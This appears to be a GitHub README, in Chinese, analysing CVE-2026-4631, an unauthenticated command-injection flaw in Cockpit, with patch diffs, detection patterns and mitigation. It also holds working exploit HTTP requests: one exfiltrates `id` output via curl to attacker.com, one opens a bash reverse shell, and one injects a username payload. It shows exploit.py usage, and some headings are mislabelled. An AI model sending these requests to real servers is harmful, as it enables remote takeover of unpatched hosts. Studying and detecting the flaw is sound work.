cyberheartmi9/CVE-2026-4631-cockpit-RCE
GitHub: cyberheartmi9/CVE-2026-4631-cockpit-RCE
分析 CVE-2026-4631 漏洞并提供可验证的未认证远程代码利用与检测方法。
Stars: 0 | Forks: 0
# CVE-2026-4631 — 代码分析
**Cockpit:通过 SSH 命令行参数注入实现的未认证远程代码执行**
| 字段 | 详情 |
| --------------------- | ---------------------------- |
| **CVE ID** | CVE-2026-4631 |
| **GHSA** | GHSA-m4gv-x78h-3427 |
| **严重性** | 危急(CVSS 9.8) |
| **受影响版本** | Cockpit 327 – 359 |
| **修复版本** | Cockpit 360 |
| **CWE** | CWE-78:OS 命令注入 |
| **需要认证** | 否 |
| **报告人** | Jelle van der Waa |
---
## 目录
1. [漏洞概述](#1-vulnerability-overview)
2. [架构背景](#2-architecture-background)
3. [根因分析](#3-root-cause-analysis)
4. [漏洞代码——逐文件分析](#4-vulnerable-code--file-by-file)
5. [攻击向量](#5-attack-vectors)
6. [数据流图](#6-data-flow-diagram)
7. [补丁分析](#7-patch-analysis)
8. [检测](#8-detection)
9. [参考资料](#9-references)
---
## 1. 漏洞概述
Cockpit 的远程登录功能将用户提供的 **主机名**(来自 URL 路径)和 **用户名**(来自 `Authorization: Basic` 标头)直接传递给 OpenSSH 的 `ssh` 二进制文件,而未进行任何验证或清理。
未认证的 attacker 可以通过网络访问 9090 端口,构造一个 HTTP 请求:
- 通过 **主机名** 字段注入任意 SSH 选项(如 `-oProxyCommand=`)
- 通过 **用户名** 字段利用 SSH 的 `%r` 令牌展开注入 shell 命令
两个注入点均在 **凭证验证完成之前** 触发,因此无需有效登录即可利用。
---
## 2. 架构背景
### 正常的远程登录流程

### 327 版本之后的变化
在 327 版本之前,Cockpit 使用一个名为 `cockpit-ssh` 的独立 C 二进制程序(基于 libssh)进行远程连接。从 327 版本开始,它被替换为:
```
python3 -m cockpit.beiboot
```
该程序调用系统上的 OpenSSH `ssh` 客户端。这一变更引入了漏洞,因为新代码路径将用户可控的值直接传递给 `ssh` 而未进行清理。
---
## 3. 根因分析
### 问题 1 — 主机名前缺少 `--` 分隔符
SSH 客户端会将以 `-` 开头的参数解析为 **选项**,而不是主机名,除非在它们之前存在 `--` 分隔符。若没有 `--`,任何以 `-` 开头的主机名都会被解析为 SSH 标志。
**易受攻击的写法:**
```
ssh [options]
```
**安全的写法:**
```
ssh [options] --
```
### 问题 2 — 缺少输入验证
`cockpit-ws`(C 代码)和 `cockpit.beiboot`(Python 代码)均未对以下内容进行验证或清理:
- 从 URL 路径提取的主机名
- 从 `Authorization: Basic` 标头提取的用户名
### 问题 3 — Python `argparse` 漏洞(CPython #66623)
一个已知的 CPython 漏洞导致 `argparse` 错误处理以 `-` 开头且包含空格的参数,将其视为位置参数而非标志。这使得形如 `-oProxyCommand=evil command` 的主机名能够通过 Python 参数解析并传递给 `ssh` 作为选项。
---
## 4. 漏洞代码——逐文件分析
### 4.1 `src/cockpit/beiboot.py` — 主要注入点
这是最关键的文件。`via_ssh()` 函数构建 SSH 命令参数列表。
#### 易受攻击的代码(修复前)
```
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
```
#### 修复后的 SSH 调用效果
当 `dest = "-oProxyCommand=curl http://attacker.com/`id`"` 时:
```
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← cockpit option
arg2: -oProxyCommand=curl http://... ← PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge' ← becomes the "hostname" → triggers ProxyCommand
```
#### 修复后的代码(360 版本)
```
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
```
---
### 4.2 `src/ws/cockpitauth.c` — C 层:主机名提取
该 C 文件负责解析初始 HTTP 请求并启动 beiboot 进程。
#### 从 URL 提取主机名(未验证)
```
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
```
提取的主机名在启动 beiboot 时直接作为参数传递:
```
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
```
#### 360 版本中的修复
```
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
```
#### 从 Authorization 标头提取用户名(未验证)
```
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// ❌ No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l '
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // ❌ unsanitized
...);
}
```
---
### 4.3 `vendor/ferny/src/ferny/session.py` — 第三个注入点
捆绑的 `ferny` 库(用于 SSH 交互)在其子进程调用中也存在相同的 `--` 缺失问题。
#### 易受攻击的代码(修复前)
```
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
```
#### 修复后的代码(360 版本)
```
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
```
---
### 4.4 `containers/ws/cockpit-auth-ssh-key` — 容器部署路径
该脚本是 Docker/容器化 Cockpit 部署中使用的认证命令。
```
#!/usr/bin/env python3
import os, sys
# 从环境提取主机
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: 同一根本原因 — 主机以未清理形式传递给 beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
```
这是一个 **独立的入口点**,意味着即使主代码路径已修复,容器化部署的 Cockpit 仍然独立存在漏洞。
---
## 5. 攻击向量
### 向量 1 — 主机名 → ProxyCommand 注入
**前提条件:** Cockpit 主机上的 OpenSSH < 9.6(OpenSSH 9.6 引入了早期主机名验证,会阻止 shell 元字符)。
**HTTP 请求:**
```
GET /cockpit+=-oProxyCommand=/login HTTP/1.1
Host: :9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
```
**解码后的 `Authorization`:** `invalid:invalid` —— 任意值均可。
**工作原理:**
1. cockpit-ws 从 URL 路径提取 `-oProxyCommand=` 作为“主机名”
2. beiboot 的 `via_ssh()` 构建:`ssh -oProxyCommand= python3 -ic '# cockpit-bridge'`
3. SSH 将 `-oProxyCommand=` 解析为选项(而非主机)
4. SSH 将 `python3 -ic '# cockpit-bridge'` 作为主机名使用
5. SSH 在连接该“主机”时执行 `` 作为 ProxyCommand
6. `` 以 cockpit-ws 进程用户的身份运行
**示例 — OOB 回调:**
```
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
```
解码后的 ProxyCommand:`curl http://attacker.com/`id``
**示例 — 反向 Shell:**
```
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
```
解码后的 ProxyCommand:`bash -i >& /dev/tcp/10.10.10.10/4444 0>&1`
---
### 向量 2 — 用户名 → `%r` 令牌注入
**前提条件:** 目标 `ssh_config` 包含使用 `%r` 令牌的 `Match exec` 指令(远程用户名)。
**易受攻击的 `ssh_config` 示例:**
```
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
```
**HTTP 请求:**
```
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: :9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
```
**解码后的 `Authorization`:** `x; touch /tmp/pwned; #:invalid`
提取的用户名:`x; touch /tmp/pwned; #`
**工作原理:**
1. SSH 在执行 `Match exec` 命令前用用户名扩展 `%r`
2. Shell 接收到:`/usr/bin/test x; touch /tmp/pwned; # = blocked_user`
3. Shell 将分号解释为命令分隔符:执行 `touch /tmp/pwned`,其余部分被
4. SSH 随后因用户名格式错误而拒绝,但命令已执行
---
## 6. 数据流图

---
## 7. 补丁分析
修复措施非常简单——在每次调用 SSH 之前添加 `--`(POSIX 选项结束分隔符)。
### 补丁 1 — `src/cockpit/beiboot.py`(提交 `9d0695647`)
```
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
```
### 补丁 2 — `src/ws/cockpitauth.c`(提交 `9d0695647`)
```
- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
```
### 补丁 3 — `vendor/ferny/src/ferny/session.py`(提交 `44ec511c99`)
```
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
```
### 为何 `--` 能解决问题
`--` 令牌告诉参数解析器(无论是 Python 的 `argparse` 还是 OpenSSH 的选项解析器)后续的所有参数均为 **位置参数**,而非选项。在 `--` 之后,像 `-oProxyCommand=evil` 这样的值会被视为字面主机名,SSH 会拒绝它作为无效主机名,从而阻止任何代码执行。
---
## 8. 检测
### 网络层检测
查找访问 Cockpit 登录端点的 HTTP 请求,其中路径包含 SSH 选项语法:
```
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
```
特别关注:
- URL 路径中的 `-oProxyCommand=`(向量 1)
- 解码后的 `Authorization: Basic` 标头中的分号(向量 2)
### 日志检测(journald)
```
# 检查可疑参数的 beiboot 启动
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# 检查 cockpit-ws 用户的 SSH 调用
journalctl _COMM=ssh | grep -v "^--$"
```
### 版本检查
```
# 检查安装版本是否易受攻击
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# 如果版本在 327 到 359(含)之间,则易受攻击
rpm -q cockpit-ws
# 相同的版本检查适用
```
---
## 9. 攻击向量
### 扫描单个目标
```
python3 exploit.py --target http://localhost:9090/ --vector username
```

### 从文件扫描多个目标
```
python3 exploit.py --file url.txt --vector username
```

### 使用 OOB 检测
```
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK
```

### 攻击向量 1 — 用户名 → %r 令牌注入
```
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"
```

### 缓解措施(若无法立即修复)
在 `/etc/cockpit/cockpit.conf` 中添加:
```
[WebService]
LoginTo = false
```
这会完全禁用远程登录功能,防止触发 beiboot 代码路径。
---
## 10. 参考资料
| 资源 | URL |
|---|---|
| OSS-Security 披露 | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| GitHub 安全公告 | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Bugzilla 问题 | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Cockpit 修复提交 | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Ferny 修复提交 | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse 漏洞 | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 主机名验证 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
标签:Cockpit, Critical, CVE-2026-4631, CVSS 9.8, CWE-78, GHSA-m4gv-x78h-3427, Go语言工具, OS命令注入, ProxyCommand, shell命令注入, SSH, SSH选项注入, Web安全, 主机名注入, 修复, 内存分配, 命令注入, 未认证, 检测, 漏洞分析, 用户名注入, 编程工具, 网络服务, 蓝队分析, 认证绕过, 路径探测, 远程代码执行, 逆向工具